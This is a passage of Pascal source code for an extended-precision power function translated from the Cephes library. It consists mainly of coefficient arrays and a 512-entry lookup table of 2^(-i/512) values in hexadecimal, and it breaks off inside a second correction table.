{ 512 7700 1.9 / 3.1 } {this version}
{ 1024 15380 1.4 / 1.7 }
{---------------------------------------------------------------------------}
function power(x, y : extended): extended;
{-Return x^y; if frac(y)<>0 then x must be > 0}
{This is my Pascal translation of the ldouble/powl.c file from the }
{freely distributable Cephes Mathematical Library V2.8, (June 2000) }
{Copyright 1984, 1991, 1998 by Stephen L. Moshier }
{Following Cody and Waite, the Cephes function uses a lookup table of}
{2**-i/NXT and pseudo extended precision arithmetic to obtain several}
{extra bits of accuracy in both the logarithm and the exponential. }
{My routine uses a table size of 512 entries resulting in about four }
{additional bits of accuracy; the tables are calculated with MPArith.}
const
NXT = 512; {table size, must be power of 2}
const
MEXP = NXT*16384.0;
MNEXP = -NXT*(16384.0+64.0); {+64 for denormal support}
const
LOG2EA : THexExtW = ($c2ef,$705f,$eca5,$e2a8,$3ffd); { = 0.44269504088896340736 = log2(e)-1}
const
{Coefficients for log(1+x) = x - .5x^2 + x^3 * P(z)/Q(z) }
{on the domain 2^(-1/32) - 1 <= x <= 2^(1/32) - 1 }
PH: array[0..3] of THexExtW = (
($b804,$a8b7,$c6f4,$da6a,$3ff4),
($7de9,$cf02,$58c0,$fae1,$3ffd),
($405a,$3722,$67c9,$e000,$3fff),
($cd99,$6b43,$87ca,$b333,$3fff));
QH: array[0..2] of THexExtW = (
($6307,$a469,$3b33,$a800,$4001),
($fec2,$62d7,$a51c,$8666,$4002),
($da32,$d072,$a5d7,$8666,$4001));
{Coefficients for 2^x = 1 + x P(x), on the interval -1/32 <= x <= 0}
RH: array[0..6] of THexExtW = (
($a69b,$530e,$ee1d,$fd2a,$3fee),
($c746,$8e7e,$5960,$a182,$3ff2),
($63b6,$adda,$fd6a,$aec3,$3ff5),
($c104,$fd99,$5b7c,$9d95,$3ff8),
($e05e,$249d,$46b8,$e358,$3ffa),
($5d1d,$162c,$effc,$f5fd,$3ffc),
($79aa,$d1cf,$17f7,$b172,$3ffe));
var
P: array[0..3] of extended absolute PH;
Q: array[0..2] of extended absolute QH;
R: array[0..6] of extended absolute RH;
const
{A[i] = 2^(-i/NXT), calculated with MPArith/t_powtab.pas}
{If i is even, A[i] + B[i/2] gives additional accuracy. }
A: array[0..NXT] of THexExtW = (
($0000,$0000,$0000,$8000,$3fff), ($aed2,$1c8d,$5652,$ffa7,$3ffe), ($c8a5,$511e,$cb59,$ff4e,$3ffe),
($a3ca,$fb18,$5f0a,$fef6,$3ffe), ($884c,$7b8f,$115c,$fe9e,$3ffe), ($695d,$3745,$e243,$fe45,$3ffe),
($9f35,$96a8,$d1b4,$fded,$3ffe), ($a15e,$05d2,$dfa6,$fd95,$3ffe), ($c175,$f486,$0c0c,$fd3e,$3ffe),
($e654,$d630,$56de,$fce6,$3ffe), ($47bb,$21e4,$c011,$fc8e,$3ffe), ($2a57,$525a,$4799,$fc37,$3ffe),
($9c49,$e5f0,$ed6c,$fbdf,$3ffe), ($3211,$5ea9,$b181,$fb88,$3ffe), ($c3f4,$4227,$93cc,$fb31,$3ffe),
($2bca,$19b1,$9443,$fada,$3ffe), ($033a,$722a,$b2db,$fa83,$3ffe), ($6270,$dc15,$ef8a,$fa2c,$3ffe),
($9f35,$eb93,$4a46,$f9d6,$3ffe), ($0c81,$3861,$c305,$f97f,$3ffe), ($ba74,$5dd4,$59bb,$f929,$3ffe),
($36c6,$fadf,$0e5e,$f8d3,$3ffe), ($4d9c,$b209,$e0e5,$f87c,$3ffe), ($cad3,$2972,$d145,$f826,$3ffe),
($3bb9,$0ad1,$df73,$f7d0,$3ffe), ($b12e,$036e,$0b65,$f77b,$3ffe), ($8239,$c428,$5510,$f725,$3ffe),
($0f0b,$016e,$bc6c,$f6cf,$3ffe), ($846e,$733f,$416c,$f67a,$3ffe), ($9f9c,$d52c,$e407,$f624,$3ffe),
($7290,$e653,$a433,$f5cf,$3ffe), ($28bd,$695f,$81e6,$f57a,$3ffe), ($cc2c,$2486,$7d15,$f525,$3ffe),
($0b17,$e18c,$95b5,$f4d0,$3ffe), ($fddf,$6db9,$cbbe,$f47b,$3ffe), ($ed7e,$99e3,$1f24,$f427,$3ffe),
($1a5b,$3a64,$8fde,$f3d2,$3ffe), ($8390,$271a,$1de1,$f37e,$3ffe), ($ae9c,$3b6b,$c923,$f329,$3ffe),
($6f7d,$563f,$919a,$f2d5,$3ffe), ($b13a,$59ff,$773c,$f281,$3ffe), ($3eda,$2c97,$79ff,$f22d,$3ffe),
($8cc1,$b770,$99d8,$f1d9,$3ffe), ($8280,$e774,$d6be,$f185,$3ffe), ($4509,$ad09,$30a7,$f132,$3ffe),
($0154,$fc11,$a788,$f0de,$3ffe), ($b76a,$cbe8,$3b58,$f08b,$3ffe), ($05e5,$1767,$ec0d,$f037,$3ffe),
($f5cb,$dcda,$b99b,$efe4,$3ffe), ($c6e3,$1e0a,$a3fb,$ef91,$3ffe), ($bc6b,$e032,$ab20,$ef3e,$3ffe),
($ea3d,$2c03,$cf03,$eeeb,$3ffe), ($025b,$0da3,$0f98,$ee99,$3ffe), ($22ea,$94a7,$6cd5,$ee46,$3ffe),
($a491,$d418,$e6b1,$edf3,$3ffe), ($e946,$e26f,$7d22,$eda1,$3ffe), ($2b84,$d994,$301e,$ed4f,$3ffe),
($4dea,$d6da,$ff9b,$ecfc,$3ffe), ($ab41,$fb03,$eb8f,$ecaa,$3ffe), ($e6f1,$6a3c,$f3f1,$ec58,$3ffe),
($bddc,$4c1c,$18b6,$ec07,$3ffe), ($d79f,$cba2,$59d4,$ebb5,$3ffe), ($9840,$1736,$b743,$eb63,$3ffe),
($f244,$60a5,$30f7,$eb12,$3ffe), ($392f,$dd24,$c6e7,$eac0,$3ffe), ($f464,$c548,$790a,$ea6f,$3ffe),
($b27b,$550e,$4756,$ea1e,$3ffe), ($dcf5,$cbd1,$31c0,$e9cd,$3ffe), ($8c57,$6c4f,$3840,$e97c,$3ffe),
($5cb8,$7ca4,$5acb,$e92b,$3ffe), ($42ab,$464b,$9958,$e8da,$3ffe), ($6094,$161c,$f3dd,$e889,$3ffe),
($dc68,$3c4b,$6a50,$e839,$3ffe), ($b5d3,$0c68,$fca8,$e7e8,$3ffe), ($9cbf,$dd5b,$aada,$e798,$3ffe),
($c84b,$0965,$74df,$e748,$3ffe), ($ce22,$ee1f,$5aaa,$e6f8,$3ffe), ($7a41,$ec78,$5c34,$e6a8,$3ffe),
($a717,$68b3,$7973,$e658,$3ffe), ($1616,$ca69,$b25c,$e608,$3ffe), ($48a8,$7c83,$06e7,$e5b9,$3ffe),
($5988,$ed3e,$7709,$e569,$3ffe), ($d681,$8e26,$02ba,$e51a,$3ffe), ($9a96,$d418,$a9ef,$e4ca,$3ffe),
($a88d,$373d,$6ca0,$e47b,$3ffe), ($05e2,$330d,$4ac2,$e42c,$3ffe), ($9619,$4649,$444c,$e3dd,$3ffe),
($f681,$f300,$5934,$e38e,$3ffe), ($5a51,$be8a,$8972,$e33f,$3ffe), ($6732,$3185,$d4fc,$e2f0,$3ffe),
($1226,$d7d9,$3bc7,$e2a2,$3ffe), ($7cdd,$40b2,$bdcc,$e253,$3ffe), ($d369,$fe83,$5aff,$e205,$3ffe),
($2a54,$a703,$1359,$e1b7,$3ffe), ($5d23,$d329,$e6cf,$e168,$3ffe), ($ed37,$1f30,$d559,$e11a,$3ffe),
($e111,$2a94,$deec,$e0cc,$3ffe), ($a3fe,$980f,$037f,$e07f,$3ffe), ($e627,$0d99,$430a,$e031,$3ffe),
($7d00,$3469,$9d82,$dfe3,$3ffe), ($4420,$b8f0,$12de,$df96,$3ffe), ($fe78,$4ada,$a316,$df48,$3ffe),
($37f2,$9d10,$4e1f,$defb,$3ffe), ($276d,$65af,$13f1,$deae,$3ffe), ($9124,$5e0e,$f482,$de60,$3ffe),
($a96f,$42bb,$efc9,$de13,$3ffe), ($f7f0,$d378,$05bc,$ddc7,$3ffe), ($3b1a,$d33d,$3653,$dd7a,$3ffe),
($4c20,$0832,$8185,$dd2d,$3ffe), ($0346,$3bb4,$e747,$dce0,$3ffe), ($1c92,$3a4f,$6791,$dc94,$3ffe),
($1cde,$d3c0,$0259,$dc48,$3ffe), ($3755,$daf2,$b797,$dbfb,$3ffe), ($3343,$25fe,$8742,$dbaf,$3ffe),
($5255,$8e29,$714f,$db63,$3ffe), ($3730,$efe4,$75b6,$db17,$3ffe), ($cc72,$2ac9,$946f,$dacb,$3ffe),
($2c0c,$219e,$cd6f,$da7f,$3ffe), ($8704,$ba4d,$20ad,$da34,$3ffe), ($0d97,$ddeb,$8e21,$d9e8,$3ffe),
($d7b6,$78af,$15c2,$d99d,$3ffe), ($cdeb,$79f9,$b786,$d951,$3ffe), ($929c,$d44a,$7364,$d906,$3ffe),
($6bac,$7d46,$4954,$d8bb,$3ffe), ($2c84,$6db3,$394c,$d870,$3ffe), ($2070,$a177,$4343,$d825,$3ffe),
($f56a,$1797,$6731,$d7da,$3ffe), ($a737,$d239,$a50b,$d78f,$3ffe), ($6af4,$d69d,$fcca,$d744,$3ffe),
($9af2,$2d20,$6e65,$d6fa,$3ffe), ($a2fe,$e13b,$f9d1,$d6af,$3ffe), ($ed01,$0180,$9f08,$d665,$3ffe),
($ce07,$9f9b,$5dfe,$d61b,$3ffe), ($739a,$d04f,$36ac,$d5d1,$3ffe), ($d18a,$ab75,$2909,$d587,$3ffe),
($9006,$4bfe,$350c,$d53d,$3ffe), ($fa1f,$cfed,$5aab,$d4f3,$3ffe), ($eca5,$585b,$99df,$d4a9,$3ffe),
($c561,$0972,$f29e,$d45f,$3ffe), ($52af,$0a6e,$64df,$d416,$3ffe), ($c379,$859a,$f099,$d3cc,$3ffe),
($978e,$a853,$95c4,$d383,$3ffe), ($9054,$a302,$5457,$d33a,$3ffe), ($a1de,$a91e,$2c49,$d2f1,$3ffe),
($e45a,$f12a,$1d91,$d2a8,$3ffe), ($85e3,$b4b5,$2827,$d25f,$3ffe), ($bcab,$3056,$4c02,$d216,$3ffe),
($b983,$a3af,$8918,$d1cd,$3ffe), ($9ac6,$5169,$df62,$d184,$3ffe), ($5f98,$7f34,$4ed6,$d13c,$3ffe),
($db8d,$75c5,$d76c,$d0f3,$3ffe), ($aaa0,$80d8,$791b,$d0ab,$3ffe), ($2595,$ef2b,$33da,$d063,$3ffe),
($56ab,$127e,$07a2,$d01b,$3ffe), ($eeb5,$3f94,$f468,$cfd2,$3ffe), ($3a86,$ce32,$fa24,$cf8a,$3ffe),
($18c1,$1919,$18cf,$cf43,$3ffe), ($f001,$7e0a,$505e,$cefb,$3ffe), ($a55d,$5dc6,$a0ca,$ceb3,$3ffe),
($934d,$1c07,$0a0a,$ce6c,$3ffe), ($80e4,$1f84,$8c15,$ce24,$3ffe), ($9967,$d1ee,$26e2,$cddd,$3ffe),
($6445,$9ff0,$da6a,$cd95,$3ffe), ($bd65,$f92c,$a6a3,$cd4e,$3ffe), ($cdd2,$503d,$8b86,$cd07,$3ffe),
($04bd,$1ab4,$8909,$ccc0,$3ffe), ($10e5,$d115,$9f23,$cc79,$3ffe), ($da4f,$eeda,$cdcd,$cc32,$3ffe),
($7c5d,$f272,$14fe,$cbec,$3ffe), ($4041,$5d3b,$74ae,$cba5,$3ffe), ($97c9,$b385,$ecd3,$cb5e,$3ffe),
($1886,$7c92,$7d66,$cb18,$3ffe), ($774e,$4290,$265e,$cad2,$3ffe), ($8414,$929e,$e7b2,$ca8b,$3ffe),
($2624,$fcc7,$c15a,$ca45,$3ffe), ($58aa,$1401,$b34f,$c9ff,$3ffe), ($27a3,$6e2f,$bd86,$c9b9,$3ffe),
($ad1a,$a41c,$dff8,$c973,$3ffe), ($0ecc,$517f,$1a9d,$c92e,$3ffe), ($7c14,$14f3,$6d6c,$c8e8,$3ffe),
($2c45,$8ffe,$d85c,$c8a2,$3ffe), ($5d4c,$6709,$5b66,$c85d,$3ffe), ($52b2,$4164,$f681,$c817,$3ffe),
($54fd,$c942,$a9a4,$c7d2,$3ffe), ($b15d,$abb9,$74c8,$c78d,$3ffe), ($b9ba,$98c2,$57e4,$c748,$3ffe),
($c51e,$4336,$52f0,$c703,$3ffe), ($306b,$60cf,$65e3,$c6be,$3ffe), ($5f79,$aa24,$90b5,$c679,$3ffe),
($be7f,$daac,$d35e,$c634,$3ffe), ($c3d9,$b0bb,$2dd6,$c5f0,$3ffe), ($f22e,$ed80,$a014,$c5ab,$3ffe),
($dadd,$5506,$2a11,$c567,$3ffe), ($20d3,$ae32,$cbc3,$c522,$3ffe), ($7baa,$c2c0,$8523,$c4de,$3ffe),
($bb30,$5f47,$5629,$c49a,$3ffe), ($cb33,$5334,$3ecc,$c456,$3ffe), ($b7b1,$70ca,$3f04,$c412,$3ffe),
($b15d,$8d21,$56c9,$c3ce,$3ffe), ($1279,$8026,$8613,$c38a,$3ffe), ($6407,$2497,$ccda,$c346,$3ffe),
($6351,$5807,$2b15,$c303,$3ffe), ($07c9,$fad9,$a0bc,$c2bf,$3ffe), ($8940,$f03f,$2dc8,$c27c,$3ffe),
($6673,$1e3d,$d231,$c238,$3ffe), ($6be9,$6da3,$8ded,$c1f5,$3ffe), ($bb33,$ca0f,$60f5,$c1b2,$3ffe),
($d278,$21ec,$4b42,$c16f,$3ffe), ($9456,$6670,$4cca,$c12c,$3ffe), ($5028,$8b9b,$6586,$c0e9,$3ffe),
($ca8d,$8836,$956e,$c0a6,$3ffe), ($4652,$55d5,$dc7a,$c063,$3ffe), ($8db0,$f0d0,$3aa1,$c021,$3ffe),
($fbdf,$5848,$afdd,$bfde,$3ffe), ($86f8,$8e24,$3c24,$bf9c,$3ffe), ($ca35,$970d,$df6f,$bf59,$3ffe),
($1083,$7a73,$99b6,$bf17,$3ffe), ($5f66,$4285,$6af1,$bed5,$3ffe), ($8238,$fc37,$5317,$be93,$3ffe),
($15b4,$b73d,$5222,$be51,$3ffe), ($93e2,$8609,$6809,$be0f,$3ffe), ($6049,$7dcf,$94c4,$bdcd,$3ffe),
($d483,$b67e,$d84b,$bd8b,$3ffe), ($4d18,$4ac5,$3297,$bd4a,$3ffe), ($36bf,$580c,$a39f,$bd08,$3ffe),
($1bdc,$fe78,$2b5b,$bcc7,$3ffe), ($b269,$60e7,$c9c5,$bc85,$3ffe), ($ea22,$a4f2,$7ed3,$bc44,$3ffe),
($fb0d,$f2e9,$4a7e,$bc03,$3ffe), ($7453,$75d4,$2cbf,$bbc2,$3ffe), ($4b6f,$5b70,$258d,$bb81,$3ffe),
($ebac,$d430,$34e0,$bb40,$3ffe), ($45fb,$133e,$5ab2,$baff,$3ffe), ($e119,$4e73,$96f9,$babe,$3ffe),
($ea09,$be5f,$e9ae,$ba7d,$3ffe), ($44e1,$9e42,$52ca,$ba3d,$3ffe), ($9deb,$2c0b,$d245,$b9fc,$3ffe),
($7b17,$a85c,$6816,$b9bc,$3ffe), ($4dbf,$5684,$1437,$b97c,$3ffe), ($84c1,$7c80,$d69f,$b93b,$3ffe),
($9ee9,$62fb,$af47,$b8fb,$3ffe), ($3dab,$554c,$9e27,$b8bb,$3ffe), ($3834,$a174,$a337,$b87b,$3ffe),
($aec9,$981f,$be70,$b83b,$3ffe), ($1e7c,$8ca4,$efca,$b7fb,$3ffe), ($752f,$d4ff,$373d,$b7bc,$3ffe),
($25e9,$c9d7,$94c2,$b77c,$3ffe), ($3d80,$c677,$0851,$b73d,$3ffe), ($7791,$28d1,$91e3,$b6fd,$3ffe),
($53cc,$517c,$316f,$b6be,$3ffe), ($2b8f,$a3b2,$e6ee,$b67e,$3ffe), ($47d3,$8550,$b259,$b63f,$3ffe),
($f76c,$5ed5,$93a8,$b600,$3ffe), ($a594,$9b63,$8ad3,$b5c1,$3ffe), ($f0d2,$a8b9,$97d3,$b582,$3ffe),
($c224,$f738,$baa0,$b543,$3ffe), ($6484,$f9de,$f333,$b504,$3ffe), ($9cbb,$2646,$4185,$b4c6,$3ffe),
($c180,$f4a9,$a58c,$b487,$3ffe), ($d3ed,$dfdb,$1f43,$b449,$3ffe), ($9841,$654b,$aea2,$b40a,$3ffe),
($aef3,$0501,$53a1,$b3cc,$3ffe), ($ae18,$419f,$0e38,$b38e,$3ffe), ($3b0e,$a05f,$de60,$b34f,$3ffe),
($2489,$a911,$c412,$b311,$3ffe), ($7cdd,$e61c,$bf46,$b2d3,$3ffe), ($b4a4,$e47d,$cff5,$b295,$3ffe),
($b5ac,$33c5,$f618,$b257,$3ffe), ($fe3b,$6618,$31a6,$b21a,$3ffe), ($bc9f,$102e,$8299,$b1dc,$3ffe),
($eb09,$c94f,$e8e8,$b19e,$3ffe), ($6bbd,$2b56,$648e,$b161,$3ffe), ($2590,$d2ac,$f581,$b123,$3ffe),
($20b2,$5e4a,$9bbc,$b0e6,$3ffe), ($a3c9,$6fb7,$5736,$b0a9,$3ffe), ($515c,$ab09,$27e8,$b06c,$3ffe),
($4584,$b6e0,$0dcb,$b02f,$3ffe), ($33f9,$3c69,$08d8,$aff2,$3ffe), ($8661,$e75b,$1906,$afb5,$3ffe),
($7af7,$65f8,$3e50,$af78,$3ffe), ($4375,$690a,$78ad,$af3b,$3ffe), ($2457,$a3e3,$c816,$aefe,$3ffe),
($9465,$cc5c,$2c84,$aec2,$3ffe), ($5c8e,$9ad6,$a5f0,$ae85,$3ffe), ($b80e,$ca35,$3452,$ae49,$3ffe),
($74e3,$17e4,$d7a4,$ae0c,$3ffe), ($1491,$43d0,$8fdd,$add0,$3ffe), ($ed2f,$1068,$5cf7,$ad94,$3ffe),
($4ac6,$42a1,$3eea,$ad58,$3ffe), ($90fb,$a1ec,$35af,$ad1c,$3ffe), ($5d04,$f83e,$413f,$ace0,$3ffe),
($a7ed,$1209,$6194,$aca4,$3ffe), ($e929,$be3f,$96a4,$ac68,$3ffe), ($3971,$ce50,$e06a,$ac2c,$3ffe),
($75e9,$1626,$3edf,$abf1,$3ffe), ($639b,$6c2a,$b1fa,$abb5,$3ffe), ($d337,$a93e,$39b5,$ab7a,$3ffe),
($c526,$a8c0,$d609,$ab3e,$3ffe), ($8de1,$4886,$86ef,$ab03,$3ffe), ($fa98,$68de,$4c5f,$aac8,$3ffe),
($7629,$ec90,$2652,$aa8d,$3ffe), ($2e5f,$b8d8,$14c2,$aa52,$3ffe), ($3979,$b569,$17a7,$aa17,$3ffe),
($bc03,$cc6b,$2efa,$a9dc,$3ffe), ($0ef8,$ea7c,$5ab4,$a9a1,$3ffe), ($e631,$fea9,$9ace,$a966,$3ffe),
($771b,$fa77,$ef41,$a92b,$3ffe), ($9fbe,$d1d8,$5806,$a8f1,$3ffe), ($0e09,$7b32,$d516,$a8b6,$3ffe),
($6770,$ef58,$6669,$a87c,$3ffe), ($70d1,$298f,$0bfa,$a842,$3ffe), ($36a1,$2789,$c5c0,$a807,$3ffe),
($356a,$e965,$93b4,$a7cd,$3ffe), ($828e,$71af,$75d1,$a793,$3ffe), ($f55b,$c55f,$6c0e,$a759,$3ffe),
($5062,$ebd9,$7665,$a71f,$3ffe), ($6b1e,$eee8,$94cf,$a6e5,$3ffe), ($5bdf,$dac3,$c745,$a6ab,$3ffe),
($a20c,$be08,$0dc0,$a672,$3ffe), ($509c,$a9be,$6839,$a638,$3ffe), ($38ea,$b151,$d6a9,$a5fe,$3ffe),
($15cb,$ea94,$5909,$a5c5,$3ffe), ($b6ee,$6dbe,$ef53,$a58b,$3ffe), ($2c84,$556d,$997f,$a552,$3ffe),
($f339,$be9e,$5786,$a519,$3ffe), ($2070,$c8b6,$2962,$a4e0,$3ffe), ($8ec5,$9576,$0f0c,$a4a7,$3ffe),
($0ae4,$4905,$087d,$a46e,$3ffe), ($809e,$09e6,$15ae,$a435,$3ffe), ($284c,$00ff,$3698,$a3fc,$3ffe),
($b47c,$5991,$6b34,$a3c3,$3ffe), ($7fe0,$413e,$b37c,$a38a,$3ffe), ($bb93,$e802,$0f68,$a352,$3ffe),
($9d94,$8037,$7ef3,$a319,$3ffe), ($8f9e,$3e91,$0215,$a2e1,$3ffe), ($5e39,$5a1f,$98c7,$a2a8,$3ffe),
($6819,$0c49,$4303,$a270,$3ffe), ($cdc5,$90d0,$00c1,$a238,$3ffe), ($a188,$25ce,$d1fc,$a1ff,$3ffe),
($17a8,$0bb3,$b6ac,$a1c7,$3ffe), ($b6e4,$8544,$aeca,$a18f,$3ffe), ($8939,$d79f,$ba50,$a157,$3ffe),
($4cf7,$4a34,$d938,$a11f,$3ffe), ($a612,$26c7,$0b7a,$a0e8,$3ffe), ($4fc2,$b971,$510f,$a0b0,$3ffe),
($4e69,$509b,$a9f2,$a078,$3ffe), ($21be,$3d01,$161b,$a041,$3ffe), ($f745,$d1ae,$9583,$a009,$3ffe),
($dd06,$6400,$2825,$9fd2,$3ffe), ($f493,$4ba1,$cdf9,$9f9a,$3ffe), ($a651,$e28b,$86f8,$9f63,$3ffe),
($d504,$8504,$531d,$9f2c,$3ffe), ($11ae,$91a1,$3260,$9ef5,$3ffe), ($cfa5,$693f,$24bb,$9ebe,$3ffe),
($98ff,$6f0b,$2a27,$9e87,$3ffe), ($4337,$0879,$429e,$9e50,$3ffe), ($2420,$9d47,$6e18,$9e19,$3ffe),
($4720,$977c,$ac90,$9de2,$3ffe), ($a2aa,$6367,$fdff,$9dab,$3ffe), ($4e03,$6f9f,$625e,$9d75,$3ffe),
($b751,$2cff,$d9a7,$9d3e,$3ffe), ($d9e2,$0eaa,$63d3,$9d08,$3ffe), ($74cb,$8a07,$00db,$9cd2,$3ffe),
($41be,$16c0,$b0ba,$9c9b,$3ffe), ($2c2d,$2ec3,$7368,$9c65,$3ffe), ($88b4,$4e40,$48df,$9c2f,$3ffe),
($4cc1,$f3aa,$3118,$9bf9,$3ffe), ($4688,$9fb3,$2c0e,$9bc3,$3ffe), ($5539,$d54e,$39b9,$9b8d,$3ffe),
($a17e,$19ad,$5a14,$9b57,$3ffe), ($d63d,$f441,$8d16,$9b21,$3ffe), ($599b,$eeb9,$d2bb,$9aeb,$3ffe),
($864a,$94ff,$2afc,$9ab6,$3ffe), ($e51a,$753b,$95d2,$9a80,$3ffe), ($66ca,$1fd1,$1337,$9a4b,$3ffe),
($9e27,$275d,$a324,$9a15,$3ffe), ($fa65,$20b7,$4593,$99e0,$3ffe), ($01c4,$a2f1,$fa7d,$99aa,$3ffe),
($8c77,$4751,$c1dd,$9975,$3ffe), ($ffcf,$a959,$9bab,$9940,$3ffe), ($89aa,$66c1,$87e2,$990b,$3ffe),
($5c25,$1f75,$867b,$98d6,$3ffe), ($e996,$7597,$976f,$98a1,$3ffe), ($20c6,$0d80,$bab9,$986c,$3ffe),
($a96f,$8db8,$f051,$9837,$3ffe), ($2103,$9eff,$3832,$9803,$3ffe), ($57ab,$ec43,$9255,$97ce,$3ffe),
($8d99,$22a6,$feb5,$9799,$3ffe), ($b08e,$f17a,$7d49,$9765,$3ffe), ($99b3,$0a41,$0e0e,$9731,$3ffe),
($4ba3,$20ac,$b0fb,$96fc,$3ffe), ($30cb,$ea9a,$660a,$96c8,$3ffe), ($5a00,$2018,$2d37,$9694,$3ffe),
($bd5c,$7b60,$0679,$9660,$3ffe), ($7560,$b8d9,$f1cb,$962b,$3ffe), ($0054,$9714,$ef27,$95f7,$3ffe),
($7fef,$d6cc,$fe86,$95c3,$3ffe), ($f940,$3ae8,$1fe3,$9590,$3ffe), ($94d5,$8878,$5336,$955c,$3ffe),
($df2c,$86b2,$987a,$9528,$3ffe), ($0961,$fef7,$efa8,$94f4,$3ffe), ($2a1f,$bccb,$58bb,$94c1,$3ffe),
($7ed3,$8ddb,$d3ac,$948d,$3ffe), ($ad28,$41f9,$6075,$945a,$3ffe), ($04b6,$ab1c,$ff0f,$9426,$3ffe),
($c105,$9d5c,$af75,$93f3,$3ffe), ($4bc1,$eef9,$71a0,$93c0,$3ffe), ($7f3c,$7851,$458b,$938d,$3ffe),
($e92c,$13e6,$2b2f,$935a,$3ffe), ($0dac,$9e5c,$2285,$9327,$3ffe), ($aa7c,$f673,$2b88,$92f4,$3ffe),
($fa89,$fd0f,$4632,$92c1,$3ffe), ($f9ac,$9531,$727d,$928e,$3ffe), ($a8b4,$a3f8,$b062,$925b,$3ffe),
($51ad,$10a0,$ffdc,$9228,$3ffe), ($cc64,$c481,$60e3,$91f6,$3ffe), ($c336,$ab11,$d373,$91c3,$3ffe),
($f815,$b1df,$5785,$9191,$3ffe), ($89d3,$c896,$ed13,$915e,$3ffe), ($39b3,$e0f9,$9417,$912c,$3ffe),
($b12b,$eee4,$4c8b,$90fa,$3ffe), ($c7f9,$e84d,$1669,$90c8,$3ffe), ($ca6b,$c540,$f1ab,$9095,$3ffe),
($bfef,$7fe0,$de4b,$9063,$3ffe), ($b1dc,$1466,$dc43,$9031,$3ffe), ($f285,$8120,$eb8c,$8fff,$3ffe),
($6481,$c672,$0c21,$8fce,$3ffe), ($c23d,$e6d1,$3dfc,$8f9c,$3ffe), ($e5c4,$e6c8,$8117,$8f6a,$3ffe),
($10d3,$ccf4,$d56c,$8f38,$3ffe), ($3520,$a201,$3af5,$8f07,$3ffe), ($3ce9,$70af,$b1ac,$8ed5,$3ffe),
($53c0,$45cd,$398b,$8ea4,$3ffe), ($2f95,$303a,$d28c,$8e72,$3ffe), ($5a01,$40e3,$7ca9,$8e41,$3ffe),
($79d3,$8ac4,$37dc,$8e10,$3ffe), ($9cd6,$22e6,$0420,$8ddf,$3ffe), ($81d8,$205f,$e16e,$8dad,$3ffe),
($e2f8,$9c50,$cfc0,$8d7c,$3ffe), ($c024,$b1e7,$cf11,$8d4b,$3ffe), ($a9e6,$7e5b,$df5b,$8d1a,$3ffe),
($0c60,$20ee,$0098,$8cea,$3ffe), ($7a95,$bae9,$32c1,$8cb9,$3ffe), ($f9e9,$6fa0,$75d2,$8c88,$3ffe),
($4dde,$646f,$c9c4,$8c57,$3ffe), ($4414,$c0b6,$2e91,$8c27,$3ffe), ($0085,$adde,$a434,$8bf6,$3ffe),
($4a01,$5754,$2aa7,$8bc6,$3ffe), ($d6e7,$ea8b,$c1e3,$8b95,$3ffe), ($9a18,$96fb,$69e4,$8b65,$3ffe),
($1032,$8e1e,$22a3,$8b35,$3ffe), ($8cfe,$0370,$ec1b,$8b04,$3ffe), ($8924,$2c72,$c645,$8ad4,$3ffe),
($f018,$40a4,$b11c,$8aa4,$3ffe), ($6e47,$7989,$ac9a,$8a74,$3ffe), ($bf7f,$12a1,$b8ba,$8a44,$3ffe),
($fd9a,$496e,$d575,$8a14,$3ffe), ($ef5e,$5d70,$02c6,$89e5,$3ffe), ($57a4,$9025,$40a7,$89b5,$3ffe),
($44b2,$2507,$8f13,$8985,$3ffe), ($5fdd,$618e,$ee03,$8955,$3ffe), ($3d5e,$8d2e,$5d72,$8926,$3ffe),
($ac6b,$f155,$dd5a,$88f6,$3ffe), ($078c,$d96e,$6db6,$88c7,$3ffe), ($8527,$92da,$0e80,$8898,$3ffe),
($8851,$6cf7,$bfb2,$8868,$3ffe), ($f1d4,$b919,$8146,$8839,$3ffe), ($717c,$ca8e,$5337,$880a,$3ffe),
($d792,$f698,$357f,$87db,$3ffe), ($66a0,$9473,$2819,$87ac,$3ffe), ($256c,$fd4e,$2afe,$877d,$3ffe),
($3131,$8c4e,$3e2a,$874e,$3ffe), ($1010,$9e8d,$6196,$871f,$3ffe), ($03c3,$9318,$953d,$86f0,$3ffe),
($5c88,$caef,$d919,$86c1,$3ffe), ($cc4a,$a905,$2d25,$8693,$3ffe), ($ba04,$923f,$915b,$8664,$3ffe),
($9563,$ed72,$05b5,$8636,$3ffe), ($2a9f,$2364,$8a2f,$8607,$3ffe), ($f694,$9ec9,$1ec1,$85d9,$3ffe),
($7b15,$cc48,$c367,$85aa,$3ffe), ($9376,$1a72,$781c,$857c,$3ffe), ($c95d,$f9c8,$3cd8,$854e,$3ffe),
($a9c0,$dcb8,$1198,$8520,$3ffe), ($1a29,$379c,$f656,$84f1,$3ffe), ($ae30,$80b8,$eb0b,$84c3,$3ffe),
($fd30,$303e,$efb3,$8495,$3ffe), ($f83c,$c049,$0447,$8468,$3ffe), ($4046,$acde,$28c3,$843a,$3ffe),
($7c8b,$73e9,$5d21,$840c,$3ffe), ($b132,$9541,$a15b,$83de,$3ffe), ($9628,$92a4,$f56c,$83b0,$3ffe),
($ee37,$efb6,$594e,$8383,$3ffe), ($de5a,$3203,$ccfd,$8355,$3ffe), ($4547,$e0fc,$5071,$8328,$3ffe),
($1333,$85f6,$e3a7,$82fa,$3ffe), ($a1d7,$ac2b,$8698,$82cd,$3ffe), ($0ca8,$e0bb,$393f,$82a0,$3ffe),
($894c,$b2a5,$fb97,$8272,$3ffe), ($c048,$b2ce,$cd9a,$8245,$3ffe), ($25ec,$73fc,$af43,$8218,$3ffe),
($5370,$8ad4,$a08c,$81eb,$3ffe), ($6056,$8dde,$a170,$81be,$3ffe), ($3bfd,$1581,$b1ea,$8191,$3ffe),
($0773,$bc03,$d1f3,$8164,$3ffe), ($6f7c,$1d88,$0188,$8138,$3ffe), ($06d4,$d814,$40a1,$810b,$3ffe),
($a0af,$8b85,$8f3b,$80de,$3ffe), ($ab6c,$d999,$ed4f,$80b1,$3ffe), ($8b84,$65e8,$5ad9,$8085,$3ffe),
($f6b1,$d5e5,$d7d2,$8058,$3ffe), ($4f51,$d0e0,$6436,$802c,$3ffe), ($0000,$0000,$0000,$8000,$3ffe));
B: array[0..NXT div 2] of THexExtW = (
($0000,$0000,$0000,$0000,$0000), ($75f1,$bc63,$885f,$c06e,$3fbc), ($a1ed,$30c5,$4cd4,$a45b,$bfbd),
($7996,$d6b2,$a131,$ee62,$bfbc), ($23fa,$9c3e,$8b4d,$f581,$bfbd), ($ed9b,$4bb4,$c430,$8aba,$3fbd),
